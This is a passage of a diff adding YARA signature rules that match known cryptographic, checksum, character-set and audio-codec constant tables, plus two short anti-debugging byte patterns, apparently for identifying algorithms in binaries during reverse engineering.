+	$a0 = { 3fd0b9ec76f0cc4d3f9152a12a6bf2f83fb98afecb33a8163f7d9e5c4cd9590f3fb43491d0cd0a7e3f6b10a81b27db913f705fdd876e6c9a3faa4ea7e1d81caa3f73ebaadf3896b73f606c2bbe1a0f9f3f9831f1017ad5413f50bc0c7f9d40d23f861a2a5c1fbfa73f55014c1d5131c63f52356b0cffe3563f498221656187823f78307bf44e151c3f47e3a0ef77fbd83f67460817f363dd3f888f5dc27e648a3f787fee2cfe0cf13f47d9441f83c4c13f76c142f2154b343f4ae5e9422b93843f6e1ab609d29c8e3f5522f9c057c99f3f5b11f3b52662743f67c1f34c4e34cc3f53aec99aa8e4413f4e3e8c585afed03f5064d4aae488113f4ee4595452037a3f81e8e2eecc9aff3f437f4ae274226a3f56834d57e7e2bc3f52c22d13245e983f6da0166f7652823f547fc3f85dd2bb3f563ff2119454a43f5c3b02f8d0eecf3f4c992357fd8d5c3f5076f716898a133f45550fac89993b3f545b7f215a2d1c3f53c98eb381f4b43f5a35bf7686b6293f564c09040255fb3f55d5bac04013263f70f76ae5cd9b843f5a2d1cc952a7b73f5e5268e679cb133f5141e5fb0777e23f49c208667b22b43f50a90d02bb59af3f62fc7723a56baf3f5039a7496cfca73f5613e79e9985b33f5f971a53f3ee9c3f589584dddd01da3f6066fd564323473f5fae6b27930c2a3f56757c430017253f53cb48d5fbbef43f5c179b32c3cfea3f74a44013d3e0d53f64e5a9f33b3c333f615a82685ebded3f6a0869698d60563f5f833dc5d522593f587e340a8442b23f5aedaede22bcd53f5c0ef885d61fdf3f590f4766d937933f5493a0867c9efd3f58f55f5f836aa63f551cee4720c8f43f57d8670e46dfa13f443effe5c0f4023f46297e4f321c353f4b71ce36cccb403f69431775a800a23f4336c1346cd72d3f504aeca38ebb233f514dfced7579393f4cedc3f872d9f13f62cd66f4324b9c3f51a6eee4a7fc3a3f50a14766c4305e3f55d1696982dcbb3f5dda607ff75f993f6dc1558a01a6fe3f50a4bbabfe23443f4c5af6795dbc693f482542130b614b3f439aed0c43b9983f46704ddb4c5a003f6a997cc605846a3f588dbf41e5d8883f48dfc8aeead4233f47528d92dca8913f4e5f5cea24b18a3f4b25d043452eb73f4b65b7445ec9e93f4641ac340e1ee33f5614c4afd66ad33f4930f509dfcf6d3f47bda1f5b42d943f534eef19027b753f4757bbfad6c41c3f46b56343d353f23f48ef53e64c69fa3f459d995a90e4793f7ab9390254b0553f45b93b84ed38733f4fbdf65ef4a2003f59ce1f58e9240b3f55680f296b805e3f57f32c271ff0153f57161ad6fd00443f503a845aa9e1c63f53fc81b0f0a9703f611f5b467d9c833f54365d38d343f73f499366bfc9a4643f457e82ebcdb8cc3f434d34f64252cf3f75ef6b832377993f678580906e8c7f3f88ff6948cc05043f525fbb5d80e8073f54a1719baac8fa3f545650b96011903f4220b16da431f43f3de9ebb758f56f3f426caf612bce7d3f3c6a81b0bf523f3f40a675ce77ed833f425ede4c4402e73f4113445455f9923f4188b58694f8e13f40f95c4d002ca53f462b387238a3413f4384794a6e3df63f462cf294b26d813f86930fd3e7dc0d3f555883f1c38c213f59f0aa0d72ff6b3f54da70120a1ffb3f5477214b29c44a3f52e2fda4ee11523f50570395fcbc7a3f41402bd88dada33f4872fa299984e03f503633043309c13f54e3efd07b138d3f524a24aca1f31e3f58fe020cb779173f5390903cdc3f4d3f53adec896bff213f44e9fb49b214383f83fafed28885df3f424d98f1dbe6043f4a8dd45c35f5a33f49009940b486dd3f56964cd4c9c9de3f56e404eb118f0e3f555a3e1483b4c73f54a85a261eaec63f5594f6ada3346e3f5965a22a0eacce3f53b083bd690ce63f531bfc1b93c6b93f50a90d02bb59af3f54cbc1ebe56f453f512566bfb49d2f3f3f4db3942301723f8274067446f2a63f4130a0a09f5b003f4137892b1340cb3f4246b0676800393f40af187bf25a5b3f47a1ffcbe496663f40f0b99f85bfcd3f4893cabb63379a3f4c6a81b0bf523f3f4a03a98a9b44f33f46e933530baa993f5193125642d1923f4cec09d5f90fb13f473377238cc0173f467fd912adefd63f47658d0fbe8fb33f83924a5f67a1263f45eec5b6129c8e3f4d8e628c6fc30f3f51d904d0936d703f5350a93bc2a41a3f50bdc6a2170b113f515f42479737b63f52a4d0c6949ec53f5c7a0ce867467c3f5b7993d2c3f4923f5ba75868388dc23f5b4d895fc925a13f5f5579306089293f5d479300e242113f5e5268e679cb133f6a62a6fabe6a393f8531df2b1212043f63effc35c106563f647b04192558f23f5516e2cde9c8483f527a8076139a143f5389a7b221fb1c3f52050f438e3c603f50fbf380b6dc043f5284dd45c172c53f5209609a4b72cc3f50bdc6a2170b113f504bc9b4cba0433f52762f1f9cc20f3f50f7a229f9a5993f51b3e2e852e2b13f5261757ffab2463f83339fd57dbf333f51ac1d4c5bb9603f5442742b41454e3f545496969fe8eb3f559bdf38171a393f515d88251d6d763f513f4ec70a6a1d3f51c7bf7671aef33f535b060b707ccc3f4c0ef885d61fdf3f550911b901fcb23f526f469528dc433f55b93b84ed38733f578f004ebc50de3f584986ea5565503f585ffaac713f583f77e02caa2c71593f54f006c2e914e43f59c8f0f13566e63f5c87ddfd9570793f5575032d1666d53f55dae927f3d04c3f4dc91b258f42b63f5893cabb1cd9343f5df36b761047673f5aa28dfbd8056c3f5f0dcc934fc4a53f65cd18130c04b53f6dd532182073403f6bdc741105ddb33f74ae659f32803e3f84a0e770b8bec7 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__NtSetInformationThread__partial___8_byt_9_
+{
+strings:
+	$a0 = { 6a006a006a116afee8 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_skb__32_big_2048_
+{
+strings:
+	$a0 = { 00000000000000102000000020000010000100000001001020010000200100100000080000000810200008002000081000010800000108102001080020010810000000200000003020000020200000300001002000010030200100202001003000000820000008302000082020000830000108200001083020010820200108300008000000080010200800002008001000090000000900102009000020090010000808000008081020080800200808100009080000090810200908002009081000080020000800302008002020080030000900200009003020090020200900300008082000080830200808202008083000090820000908302009082020090830000000000200000000002000020020000020000002200000002020000220200000000004020000040000200402002004002000040220000400202004022020040000040002000400000024000200240000200400022004000020240002202400000004040200040400002404020024040020040402200404002024040220240410000000120000001000200012002000102000001220000010202000122020001000000412000004100020041200200410200004122000041020200412202004100004001200040010002400120024001020040012200400102024001220240010000404120004041000240412002404102004041220040410202404122024040000000000000001000400000004000101000000010000010104000001040001000000020000000300040002000400030100000201000003010400020104000300000200000002010004020000040201010002000100020101040200010402010000020200000203000402020004020301000202010002030104020201040203080000000800000108040000080400010900000009000001090400000904000108000002080000030804000208040003090000020900000309040002090400030800020008000201080402000804020109000200090002010904020009040201080002020800020308040202080402030900020209000203090402020904020300000000001000000000010000100100000000080010000800000108001001080000100000101000000011000010110000001008001010080000110800101108040000000410000004000100041001000400000804100008040001080410010804001000041010000400110004101100040010080410100804001108041011080002000000120000000201000012010000020008001200080002010800120108000210000012100000021100001211000002100800121008000211080012110804020000041200000402010004120100040200080412000804020108041201080402100004121000040211000412110004021008041210080402110804121108000000001000000000010000100100000000000410000004000100041001000420000000300000002001000030010000200000043000000420010004300100040010000010100000001100001011000000100004101000040011000410110004201000003010000020110000301100002010000430100004201100043011000400001000100010000001100010011000000010041000100400011004100110042000100030001000200110003001100020001004300010042001100430011004001010001010100000111000101110000010100410101004001110041011100420101000301010002011100030111000201010043010100420111004301110040000000008000000000000080800000800000400080004000000040808000408000200000802000000020008080200080002040008020400000204080802040800000001080000010000000908000009000004010800040100000409080004090002000108020001000200090802000900020401080204010002040908020409020000000a000000020000080a000008020004000a000400020004080a000408020200000a020000020200080a020008020204000a020400020204080a020408020000010a000001020000090a000009020004010a000401020004090a000409020200010a020001020200090a020009020204010a020401020204090a0204090000000000000100000800000008010001000000010001000108000001080100000000100000011000080010000801100100001001000110010800100108011000200000002001000028000000280100012000000120010001280000012801000020001000200110002800100028011001200010012001100128001001280110000002000000030000080200000803000100020001000300010802000108030000000210000003100008021000080310010002100100031001080210010803100020020000200300002802000028030001200200012003000128020001280300002002100020031000280210002803100120021001200310012802100128031000000000040000000004000004040000000000020400000200040002040400020000200004002000000420000404200000002002040020020004200204042002000000200400002000040020040400200000002204000022000400220404002200002020040020200004202004042020000020220400202200042022040420220000080004000800000408000404080000000802040008020004080204040802000028000400280000042800040428000000280204002802000428020404280200000820040008200004082004040820000008220400082200040822040408220000282004002820000428200404282000002822040028220004282204042822 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_CHAR2_571B_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 2aa058f73a0e33ab486b0f610410c53a7f132310 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4599__16_lil_refl_False_
+{
+strings:
+	$a0 = { 00009945328babcefd536416cfd8569dfaa763e2c82c516907f49eb1357fac3a6d0af44f5f81c6c49059091ca2d23b9797ad0ee8a5263c636afef3bb5875c130da144351e89f71da2747be0215cc8c8920b3b9f612388b7ddde044a5ef6b762eb71e2e5b85951cd04a4dd30878c6e1834db9d4fc7f32e677b0ea29af82611b24b4292d6c86a21fe7497ad03f7bf1e2b44e8ed7cb7c05e540b3dd2a9881561813d9234066eba872ed2470bd3516fb8fbe2384bac1110f884aded74792ec5c75196e3df7785cb6c5f3936e0a2ba1e538a0949a0ddfa6113f5469c9f08c5b42c20703379a7231bca8f9fe646721ccef55aaf99060d5cb1b525e04c39d863648af0d6853f1165ad8c39d95000c45a78b3ece92f40bb1a07f393a6fa7f6e25d2cc46905599c1c37d2ae97f80a614fca8153c4fffe66bbcd75543002ad9be83026a963b2472b0280cc19894f14d6517d9fe4da48e0d1a57a6be32eb5b32cf687381e7ddf4d4608edc67483221ebb5b109589d025eabcaf17618e24d8b941fcea327377dc7a453feef177b42129b86c13a28ae726ddbf9814568d13db8e42cbe9057040b170283583fb1abe4c23d5667ea8e7ed4bd7d292795ce019b6842fc1840f1d4a066e9f2b34e5ada0fb3d6278c9b650f3fcc9658cce425707019a98df3311aa546b64f22159efc0aa96370f72a4bc3df991c30886a3483a0d6c90f5d55e1bc75e }
+
+condition:
+	$a0
+}
+
+	
+rule US_ASCII_to_EBCDIC__character_set_IBM_1047__table__32_big_1024_
+{
+strings:
+	$a0 = { 00000000000000010000000200000003000000370000002d0000002e0000002f0000001600000005000000150000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000003c0000003d000000320000002600000018000000190000003f000000270000001c0000001d0000001e0000001f000000400000005a0000007f0000007b0000005b0000006c000000500000007d0000004d0000005d0000005c0000004e0000006b000000600000004b00000061000000f0000000f1000000f2000000f3000000f4000000f5000000f6000000f7000000f8000000f90000007a0000005e0000004c0000007e0000006e0000006f0000007c000000c1000000c2000000c3000000c4000000c5000000c6000000c7000000c8000000c9000000d1000000d2000000d3000000d4000000d5000000d6000000d7000000d8000000d9000000e2000000e3000000e4000000e5000000e6000000e7000000e8000000e9000000ad000000e0000000bd0000005f0000006d00000079000000810000008200000083000000840000008500000086000000870000008800000089000000910000009200000093000000940000009500000096000000970000009800000099000000a2000000a3000000a4000000a5000000a6000000a7000000a8000000a9000000c00000004f000000d0000000a100000007000000200000002100000022000000230000002400000004000000060000000800000028000000290000002a0000002b0000002c000000090000000a00000014000000300000003100000025000000330000003400000035000000360000001700000038000000390000003a0000003b0000001a0000001b0000003e000000ff00000041000000aa0000004a000000b10000009f000000b20000006a000000b5000000bb000000b40000009a0000008a000000b0000000ca000000af000000bc000000900000008f000000ea000000fa000000be000000a0000000b6000000b30000009d000000da0000009b0000008b000000b7000000b8000000b9000000ab0000006400000065000000620000006600000063000000670000009e000000680000007400000071000000720000007300000078000000750000007600000077000000ac00000069000000ed000000ee000000eb000000ef000000ec000000bf00000080000000fd000000fe000000fb000000fc000000ba000000ae000000590000004400000045000000420000004600000043000000470000009c0000004800000054000000510000005200000053000000580000005500000056000000570000008c00000049000000cd000000ce000000cb000000cf000000cc000000e100000070000000dd000000de000000db000000dc0000008d0000008e000000df }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d4720__8_byt_49_
+{
+strings:
+	$a0 = { 527a884b3964b2546119245f9bbe6b6ec6b810a7d7aa22bcd3eaf93e525dc91711cf20564ce653d40bd7b276631ef38691 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_MACEtab4__16_big_512_
+{
+strings:
+	$a0 = { 004000d8004300e2004600ec004a00f6004d01010050010c0054011800580126005c0133006001410064014e0068015e006d016d0072017e0077018f007c01a0008201b2008801c6008e01db009401ef009b020700a2021d00a9023400b0024e00b9026900c1028400c902a100d202bf00dc02df00e602ff00f0032100fb03460106036c01120392011e03bb012b03e5013804110146044101550472016404a4017404d9018405110196054a01a8058701bb05c601ce060801e3064d01f90694020f06e00227072e02400781025907d7027408310290088e02ae08f002cc095502ec09c0030d0a2f03300aa403550b1e037b0b9d03a20c2003cc0cab03f80d3d04250dd304540e7204860f1604b90fc304f0107805281133056311f705a112c605e1139b0624147c066a156506b3165a0700175a0750186507a3197a07fb1a9d08561bce08b51d0c09191e5709801fb209ed211d0a5f22960ad524220b5125bf0bd2276e0c5a29320ce72b080d7a2cf40e142ef40eb5310c0f5d333e100c358710c437eb11833a69124b3d05131c3fbe13f7429614db458f15c948aa16c24be917c64f4c18d652d519f256881b1a5a651c505e6d1d9362a41ee5670c20466ba521b770722338757824cb7ab5266f7fff28267fff29f17fff2bd07fff2dc57fff2fd07fff31f27fff342c7fff36817fff38f07fff3b7a7fff3e227fff40e77fff }
+
+condition:
+	$a0
+}
+
+	
+rule CIPHERUNICORN__8_byt_1024_
+{
+strings:
+	$a0 = { 956fed9b15556c4cec4bc154168a593733910d9994a3563bccaf5b757e46900af892c90061d017d693ea4241e239d2e0ac289a57b2eb87dc6e7960080935f1698fa9b68b7010b743e927c54aa6dae7f2a19fc025b1e42f770e12f43803c3efdb21a71ab4363d3ade041ebf226bf98e965f2a7c19e8b5785d0544063081296849bca5d4a0fa8d7bd85eee51ca077ac411cf66b8bdf348ce0cc8e1a4b0f70102fe47b9e5bbfb8945a83218abad9edd7f1bfc729852d126cb80d7d524ae86b35a7650f6fd7d1d2c0fe362cdff4dc6c285824f674e31138c6dd3df3f40973ed9aa53882d73c7142ebef0841ca2e6836a20589d1f2b9c71ba2365343c0b6474f5635caeffa16dfe285f43217c853ae0ee81388939a957dddca3540eefab8a4ac0426808fa2b737e58d4673e528f0475e21c9b419c8bb7eb7dd9746fed9d44a0b8d5acaa84490201e85cf9886aaf05098c26bf32fb550c1b302e34914ea89f64bc10e31ac6f4cdb2488ea233f6f180c2b17a14903153a6f7e10b0766f2b91296a579625dc546974b76cad86ccf0f7063236545563d4f6e0dda9506861d2483b59ab4e64dc1a411d303d1695ece2c133c7b0a1f82c34cd036fcdbcbc727bd50a75a201ee940f5b678e77f2f16873772ea291551addf17fd99192df861b3ba77c892bbd200e418be8dec3fc96071f093e55b6bd6593b98d7b0ccf3942a9e4722de25c4352522a28486dc5b8f292de5f762b24438d461460f3a48d8d00e60d6d985b31c9a787b5364eb03e6a0c1f5a49bffaf4f94e3db175f6f0b5768a3cbbd1d9cadd3409d35c45951045410c04a0db514b839b75a775dcf26835e3c7401d57a056590754b2e08acaa98e7d242360abb80cc0c66f37389939fe93bddfd70a5c669deea992bc979b456cde1f2b6373fe8fe2c09158841721f28310024a916f9233e11aef89e971832b06c437f961202a8c2abc391631950e021c8c576a13d8e4dbed1308beece2a7defed34df58a71a824cbf0747d71b7e06fb33f18187f6f49220b14952e26e4ebaf08da6456b556795fa6dca13718c8a27b9e46a2ffcc7bc5cda1eec7c18fc9079112a4d7f0223ad15813a697170e5b9bd4cccd15705605263858c4240c06bc2dc1044b7abdb335c0d9856877b62ae679c9d3b919b9e08e784533117205545fb24e9eede9525f81a127d0b89fd4f34385ff1bb2ca77c66e373d48e9a5df7d3211c430a93e1d7d2f6a08349413901b6b4c7cf7ed8e03d51cac492bc7780321e5ba1590cc34aebdfe2acf507da9ff2d9d026a32d27043e8868b358c506008dbef3d66da23ca5c6e4dda46a65cbec8f306e50b04eeab5615414461da81b48475aff13fe7219e62f2b64b22829f9ba96cdb8c98b4b36163ff46caf2ea9f09997747ae8a6750e5e6fceedb1c81faa78d535940f37ef03bf86fac10982768a22 }
+
+condition:
+	$a0
+}
+
+	
+rule ima_adpcm_step_table__32_big_356_
+{
+strings:
+	$a0 = { 0000000700000008000000090000000a0000000b0000000c0000000d0000000e0000001000000011000000130000001500000017000000190000001c0000001f0000002200000025000000290000002d00000032000000370000003c00000042000000490000005000000058000000610000006b00000076000000820000008f0000009d000000ad000000be000000d1000000e6000000fd0000011700000133000001510000017300000198000001c1000001ee000002200000025600000292000002d40000031c0000036c000003c3000004240000048e000005020000058300000610000006ab0000075600000812000008e0000009c300000abd00000bd000000cff00000e4c00000fba0000114c00001307000014ee000017060000195400001bdc00001ea5000021b600002515000028ca00002cdf0000315b0000364b00003bb9000041b20000484400004f7e000057710000602f000069ce0000746200007fff }
+
+condition:
+	$a0
+}
+
+	
+rule Adler_CRC32__0x191b3141___32_big_1024_
+{
+strings:
+	$a0 = { 00000000191b3141323662822b2d53c3646cc5047d77f445565aa7864f4196c7c8d98a08d1c2bb49faefe88ae3f4d9cbacb54f0cb5ae7e4d9e832d8e87981ccf4ac2125153d9231078f470d361ef41922eaed75537b5e6141c98b5d705838496821b98599b00a918b02dfadba936cb9ae6775d5dff6c6c1cd4413fdfcd5a0e9e958424a28c9f15e3a7b24620bea97761f1e8e1a6e8f3d0e7c3de8324dac5b2655d5daeaa44469feb6f6bcc287670fd6939316bae202a5aef0b07092c121c386ddf4636f3c65d07b2ed705471f46b6530bb2af3f7a231c2b6891c91759007a034179fbcfb0e848dba25a9de793cb2ef3873f379ff6ae848be41c51b7d58de2a3cf0794f05e9627e44c24f2d87db541cc694158a018d0ebb40a623e883bf38d9c238a0c50d21bbf44c0a96a78f138d96ce5ccc000945d731486efa628b77e153cababb5d54a3a06c15888d3fd691960e97ded79850c7cca911ece1fad2f5facb937262d75c6b79e61d4054b5de594f849f160e12580f152319243870da3d23419b65fd6ba77ce65ae657cb09254ed038640191aea3188a9fe233a7cc212abcfd60ad24e1afb43fd0ee9f12832d8609b26cc94824abd05315eafb7e4629e26577682f3f79f6362448b71d091b7404122a354b53bcf252488db37965de70607eef31e7e6f3fefefdc2bfd5d0917ccccba03d838a36fa9a9107bbb1bc5478a8a765393b83984b2298a90a09b5fac910aecb885fef5d4f46f46c0e6dd93fcd74c20e8cf35a1243ea412302c16c70c1d87741809736d7478e2de606a500b5c5bc1b848471418a1a685abb5b4377e8985a6cd9d9152d4f1e0c367e5f271b2d9c3e001cddb9980012a08331538bae629092b553d1ddf4c516c4eff457efc2a794f6d996d5ae07bce9b71c8da89c31de6b852aef2aca6b79edd37048acf85d1b6fe1462a2e66de36e17fc507a054e854634df3652202b2f3e51ba9c2a430849167299fa026e4c5aeb8fdde9ff9d6f3cc3acfe8fd7b80a96bbc99b25afdb29f093eab84387f2c1c24b0350715f11e2a4632073177734870e1b4516bd0f57a468336635db277cbfad74ed2e1e60ff9ccb5cce0d7848daf96124ab68d230b9da070c884bb418903235d461a386c0731153fc4280e0e85674f98427e54a9035579fac04c62cb818138c51f9823f45eb30ea79daa1596dce554001bfc4f315ad7626299ce7953d849e14f1750fa7e567bd72d9562cc1cd42d8d8a133496bb521fbbe89106a0d9d05e7ef3ec4765c2ad6c48916e7553a02f3a1236e8230907a90824546a113f652b96a779e48fbc48a5a4911b66bd8a2a27f2cbbce0ebd08da1c0fdde62d9e6ef2314bce1bd0da7d0fc268a833f3f91b27e70d024b969cb15f842e6463b5bfd777adc656bb5c57e5af4ee530937f7483876b809aeb1a1129ff08a3fcc339324fd72 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A5_1_goodAtoB__8_byt_15_
+{
+strings:
+	$a0 = { 534eaa582fe8151ab6e1855a728c00 }
+
+condition:
+	$a0
+}
+
+	
+rule Vorbis_FLOOR1_fromdB_LOOKUP__flt32___32_big_1024_
+{
+strings:
+	$a0 = { 33e4b43e33f391093401b28b340a203c34131a23341ca9603426d7a73431af4b343d3b50344987703456a023346492b834736d5534819f88348a0bfc34930493349c926934a6bf3234b1953f34bd1f9334c969e434d680ad34e4713634f349a635018c883509f7c03512ef06351c7b763526a6c035317b37353d03da35494c5e3556613b35644fb9357325fc3581798a3589e3863592d97c359c648535a68e5235b1613335bce82535c92edc35d641ce35e42e4135f302573601668f3609cf4f3612c3f5361c4d98362675e836314732363ccc743649115e3656226536640cce3672deb8368153973689bb1c3692ae72369c36af36a65d8136b12d3536bcb0c736c8f3e436d6030136e3eb6036f2bb1e370140a23709a6eb371298f1371c1fc93726451e3731133d373c951e3748d66f3755e3a23763c9f73772978937812daf378992be37928374379c08e637a62cbe37b0f94737bc797937c8b8fe37d5c44737e3a89237f273f838011ac038097e9338126df9381bf206382614623830df56383c5dd838489b923855a4f2386387333872506e388107d338896a6b38925882389bdb2a38a5fc0938b0c56838bc423b38c87e2938d585a038e365d938f22ce83900f4e9390956463912430e391bc4513925e3b53930ab7f393c26a2394860c53955665339634483397209683980e2013989422439922d9d399bad7b39a5cb6339b0919939bc0b0d39c8436639d5470b39e3233239f1e5ed3a00cf1d3a092e053a1218303a1b96a93a25b3153a3077b73a3bef7c3a48260a3a5527c73a6301e63a71c2783a80bc3b3a8919e93a9202c63a9b7fdb3aa59acb3ab05dd83abbd3ef3ac808b33ad508883ae2e09f3af19f073b00a95c3b0905d03b11ed5e3b1b690f3b2582843b3043fd3b3bb8673b47eb613b54e94d3b62bf5d3b717b9c3b80967f3b88f1ba3b91d7f93b9b52473ba56a413bb02a273bbb9ce23bc7ce123bd4ca173be29e203bf158353c0083a63c08dda73c11c2983c1b3b823c2552013c3010543c3b81613c47b0c83c54aae53c627ce83c7134d43c8070cf3c88c9963c91ad3a3c9b24c03ca539c53caff6853cbb65e53cc793823cd48bb93ce25bb43cf111793d005dfb3d08b5893d1197df3d1b0e023d25218d3d2fdcb93d3b4a6d3d4776403d546c913d623a853d70ee223d804b2a3d88a17f3d9182883d9af7483da509583dafc2f23dbb2ef83dc759033dd44d6d3de2195c3df0cad13e00385b3e088d773e116d333e1ae0903e24f1273e2fa92e3e3b13873e473bca3e542e4d3e61f8373e70a7843e80258f3e8879733e9157e23e9ac9dc3ea4d8f93eaf8f6d3ebaf81b3ec71e953ed40f333ee1d7173ef0843d3f0012c63f0865723f1142933f1ab32b3f24c0ce3f2f75b13f3adcb23f4701653f53f01d3f61b5fb3f7060fb3f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale3__flt64___64_lil_56_
+{
+strings:
+	$a0 = { 020000e0a466ef3ffeffff5fe2fbed3f040000c0a707ec3ffcffff5f9ea0e63ffcffff3f22e0de3ffaffff9f845bd63feeffffdfb4a6c83f }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_IPTable__32_big_512_
+{
+strings:
+	$a0 = { 000000000000002000000040000000600000000100000021000000410000006100000002000000220000004200000062000000030000002300000043000000630000000400000024000000440000006400000005000000250000004500000065000000060000002600000046000000660000000700000027000000470000006700000008000000280000004800000068000000090000002900000049000000690000000a0000002a0000004a0000006a0000000b0000002b0000004b0000006b0000000c0000002c0000004c0000006c0000000d0000002d0000004d0000006d0000000e0000002e0000004e0000006e0000000f0000002f0000004f0000006f000000100000003000000050000000700000001100000031000000510000007100000012000000320000005200000072000000130000003300000053000000730000001400000034000000540000007400000015000000350000005500000075000000160000003600000056000000760000001700000037000000570000007700000018000000380000005800000078000000190000003900000059000000790000001a0000003a0000005a0000007a0000001b0000003b0000005b0000007b0000001c0000003c0000005c0000007c0000001d0000003d0000005d0000007d0000001e0000003e0000005e0000007e0000001f0000003f0000005f0000007f }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A38_table_2__8_byt_128_
+{
+strings:
+	$a0 = { 34322c061531293b27331920332f342b250428223d0c1c043a17080f0c160912370a212332012b03390d3e0e072a2c3b3e391b06081f1a3629162d14270310383002151c242a3c212212000b180a113d1d0e2d1a372e0b11362e09181e3c20001426021e3a230110382817300d13131b1f352f263f0f3105253519243f1d0507 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_230__16_lil_16_
+{
+strings:
+	$a0 = { 3b7f787eb67df57c357c767bb87afc79 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Detection_from_SafeDisc__this_is_the_content_of_secdrv_sys__8_byt_10_
+{
+strings:
+	$a0 = { 0f21f825000500008901 }
+
+condition:
+	$a0
+}
+
+	
+rule iLBC_State_quantization_table_frgqTbl__flt32___32_big_256_
+{
+strings:
+	$a0 = { 3f8002c93f892d4d3f91f8773f9a7aa73fa37ae53facfe0d3fb6f5ed3fc017d33fc8d6993fd1de613fda814d3fe409353feb9f4d3ff365fe3ffa74fb40006e9840038ce340069410400923f2400bbff9400df317401075974012ed6340154f554017a1c24019c758401bd85a401dfd824020379b402283a14024ab1d4026b8e94028b9a6402acfe6402cb8d0402ea9974030a05540328ca44034653d403646d840382878403a0aa2403bf228403df080404001e2404222af40443f294046abb940490e52404bb678404e44d84050fcdb4053bd7f405673e240594c30405c56b8405f69494062b88d4066a8fc406aa090406f6c7240752afe407c14cf408341a7 }
+
+condition:
+	$a0
+}
+
+	
+rule m_huffman_c__from_doomsday___flt64___64_lil_2048_
+{
+strings:
+	$a0 = { 4dccf076ecb9d03ff8f26b2aa152913f16a833cbfe8ab93f0f59d94c5c9e7d3f7e0acdd09134b43f91db271ba8106b3f9a6c6e87dd5f703faa1cd8e1a74eaa3fb79638dfaaeb733f9f0f1abe2b6c603f41d57a01f131983fd2409d7f0cbc503fa7bf1f5c2a1a863fc631511d4c01553f56e3ff0c6b35523f828761652182493f1c154ef47b30783fd8fb77efa0e3473fdd63f3170846673f8a647ec25d8f883ff10cfe2cee7f783fc1c4831f44d9473f344b15f242c1763f84932b42e9e54a3f8e9cd209b61a6e3f9fc957c0f922553f746226b5f3115b3fcc344e4cf3c1673f41e4a89ac9ae533fd0fe5a588c3e4e3f1188e4aad464503f7a03525459e44e3fff9acceee2e8813f6a2274e24a7f433fbce2e7574d83563f985e24132dc2523f8252766f16a06d3fbbd25df8c37f543fa4549411f23f563fcfeed0f8023b5c3f5c8dfd5723994c3f138a8916f776503f3b9989ac0f55453f1c2d5a217f5b543fb4f481b38ec9533f29b68676bf355a3ffb550204094c563f261340c0bad5553f849bcde56af7703fb7a752c91c2d5a3f13cb79e668525e3fe27707fbe541513fb4227b6608c2493faf59bb020da9503faf6ba52377fc623fa7fc6c49a739503fb385999ee713563f9ceef3531a975f3fda01dddd8495583f47234356fd66603f2a0c93276bae5f3f251700437c75563ff4befbd548cb533feacfc3329b175c3fd5e0d31340a4743f333c3bf3a9e5643fedbd5e68825a613f56608d6969086a3f5922d5c53d835f3fb242840a347e583fd5bc22deaeed5a3fdf1fd685f80e5c3f9337d966470f593ffd9e7c86a093543fa66a835f5ff5583ff4c82047ee1c553fa1df460e67d8573f02f4c0e5ff3e443f351c324f7e29463f40cbcc36ce714b3fa200a8751743693f2dd76c34c136433f23bb8ea3ec4a503f397975edfc4d513ff1d972f8c3ed4c3f9c4b32f466cd623f3afca7e4eea6513f5e30c46647a1503fbbdc826969d1553f995ff77f60da5d3ffea6018a55c16d3f4423feabbba4503f69bc5d79f65a4c3f4b610b134225483f98b9430ced9a433f005a4cdb4d70463f6a8405c67c996a3f88d8e541bf8d583f23d4eaaec8df483f91a8dc928d52473f8ab124ea5c5f4e3fb72e4543d0254b3fe9c95e44b7654b3fe31e0e34ac41463fd36ad6afc414563f6dcfdf09f530493f942db4f5a1bd473f757b0219ef4e533f1cc4d6fabb57473ff253d34363b5463ffa694ce653ef483f79e4905a999d453f55b0540239b97a3f7338ed843bb9453f00a2f45ef6bd4f3f0b24e9581fce593f5e806b290f68553f15f01f272cf3573f4400fdd61a16573fc6e1a95a843a503f70a9f0b081fc533f839c7d465b1f613ff743d3385d36543f64a4c9bf6693493fccb8cdeb827e453fcf5242f6344d433f997723836bef753f7f8c6e908085673f0405cc4869ff883f07e8805dbb5f523ffac8aa9b71a1543f901160b95056543ff431a46db120423f6ff558b7ebe93d3f7dce2b61af6c423f3f52bfb0816a3c3f83ed77ce75a6403fe702444cde5e423f92f955544413413fe1f89486b588413fa52c004d5cf9403f41a33872382b463ff63d6e4a7984433f816db294f22c463f0ddce7d30f93863f218cc3f18358553f6bff720daaf0593ffb1f0a1270da543f4ac4294b2177543f5211eea4fde2523f7abcfc950357503fa3ad8dd82b40413fe0849929fa72483fc10933043336503f8d137bd0efe3543f1ef3a1ac244a523f1779b70c02fe583f4d3fdc3c9090533f21ff6b89ecad533f3814b249fbe9443fdf8588d2fefa833f04e6dbf1984d423fa3f5355cd48d4a3fdd86b4409900493fdec9c9d44c96563f0e8f11eb04e4563fc7b483143e5a553fc6ae1e265aa8543f6e34a3adf694553fceac0e2aa265593fe60c69bd83b0533fb9c6931bfc1b533faf59bb020da9503f456fe5ebc1cb543f2f9db4bf6625513f72012394b34d3f3fa6f246740674823f005b9fa0a030413fcb40132b8937413f39006867b046423f5b5af27b18af403f6696e4cbffa1473fcdbf859fb9f0403f9a3763bbca93483f3f52bfb0816a4c3ff3449b8aa9034a3f99aa0b5333e9463f92d142561293513fb10ff9d509ec4c3f17c08c237733473fd6efad12d97f463fb38fbe0f8d65473f26a1675f4a92833f8e9c12b6c5ee453f0fc36f8c628e4d3f706d93d004d9513f1aa4c23ba950533f110b17a2c6bd503fb6379747425f513fc59e94c6d0a4523f7c4667e80c7a5c3f92f4c3d293795b3fc28d386858a75b3fa125c95f894d5b3f2989603079555f3f1142e20093475d3f13cb79e668525e3f396abefaa6626a3f04